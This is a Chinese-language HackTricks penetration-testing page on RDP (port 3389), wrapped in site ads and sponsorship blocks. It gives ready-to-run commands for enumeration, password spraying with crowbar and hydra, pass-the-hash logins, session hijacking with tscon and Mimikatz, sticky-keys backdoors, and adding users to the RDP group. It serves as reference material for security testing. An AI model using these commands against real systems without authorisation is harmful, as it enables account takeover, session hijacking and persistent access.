> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-rdp.md).

# 3389 - Pentesting RDP

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/Sk2ufgoXhHKAYGBttFiX" alt=""><figcaption></figcaption></figure>

**即时提供的漏洞评估和渗透测试设置**。使用包含从侦察到报告的20多种工具和功能的完整渗透测试，随时随地运行。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出shell并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

## 基本信息

由Microsoft开发，**远程桌面协议**（**RDP**）旨在实现计算机之间的图形界面连接。为建立这种连接，用户使用**RDP**客户端软件，同时，远程计算机需要运行**RDP**服务器软件。这种设置允许无缝控制和访问远程计算机的桌面环境，基本上将其界面带到用户的本地设备上。

**默认端口：** 3389

```
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
```

## 枚举

### 自动化

{% code overflow="wrap" %}

```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```

{% endcode %}

它检查可用的加密和 DoS 漏洞（在不导致服务拒绝的情况下），并获取 NTLM Windows 信息（版本）。

### [暴力破解](/generic-methodologies-and-resources/brute-force.md#rdp)

**注意，您可能会锁定帐户**

### **密码喷洒**

**注意，您可能会锁定帐户**

```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

### 使用已知凭据/哈希连接

```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```

### 检查已知凭据是否适用于RDP服务

rdp\_check.py来自impacket，让您可以检查某些凭据是否适用于RDP服务：

```bash
rdp_check <domain>/<name>:<password>@<IP>
```

<figure><img src="/files/Sk2ufgoXhHKAYGBttFiX" alt=""><figcaption></figcaption></figure>

**即时提供的漏洞评估和渗透测试设置**。使用从侦察到报告的 20 多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，为他们节省时间深入挖掘、弹出 shell 并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

## **攻击**

### 会话劫持

通过**SYSTEM 权限**，您可以访问任何用户打开的 RDP 会话，而无需知道所有者的密码。

**获取已打开的会话：**

```
query user
```

**访问所选会话**

```bash
tscon <ID> /dest:<SESSIONNAME>
```

现在，您将进入所选的RDP会话，并且您将使用仅限Windows工具和功能来模拟用户。

**重要提示**：当您访问活动的RDP会话时，您将会将正在使用该会话的用户踢出。

您可以通过转储进程来获取密码，但这种方法速度更快，并且可以让您与用户的虚拟桌面进行交互（例如在记事本中查看密码，而不会将其保存在磁盘上，或者在其他计算机上打开的其他RDP会话...）

#### **Mimikatz**

您也可以使用Mimikatz来执行此操作：

```bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session
```

### Sticky-keys & Utilman

结合这个技术与**stickykeys**或**utilman**，您将能够随时访问管理CMD和任何RDP会话

您可以使用以下命令搜索已经使用这些技术后门的RDP：<https://github.com/linuz/Sticky-Keys-Slayer>

### RDP进程注入

如果来自不同域或具有**更高权限的用户通过RDP**登录到您是管理员的PC，您可以将您的信标**注入**到他的**RDP会话进程**中并扮演他的角色：

{% content-ref url="/pages/Ia4g1pcODtaE1XlEqf7v" %}
[RDP Sessions Abuse](/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}

### 将用户添加到RDP组

```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```

## 自动化工具

* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)

**AutoRDPwn** 是一个使用 Powershell 创建的后渗透框架，主要设计用于自动化对 Microsoft Windows 计算机进行 **Shadow** 攻击。这个漏洞（被微软列为一个功能）允许远程攻击者在未经同意的情况下**查看受害者的桌面**，甚至可以根据需要控制受害者的桌面，使用操作系统本身的工具。

* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* 从命令行以自动化方式控制鼠标和键盘
* 从命令行以自动化方式控制剪贴板
* 从客户端生成一个通过 RDP 将网络通信引导到目标的 SOCKS 代理
* 在目标上执行任意 SHELL 和 PowerShell 命令，无需上传文件
* 即使目标上禁用文件传输，也可以与目标之间上传和下载文件

## HackTricks 自动化命令

```
Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```

<figure><img src="/files/Sk2ufgoXhHKAYGBttFiX" alt=""><figcaption></figcaption></figure>

**立即提供的漏洞评估和渗透测试设置**。从侦察到报告，使用 20 多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>
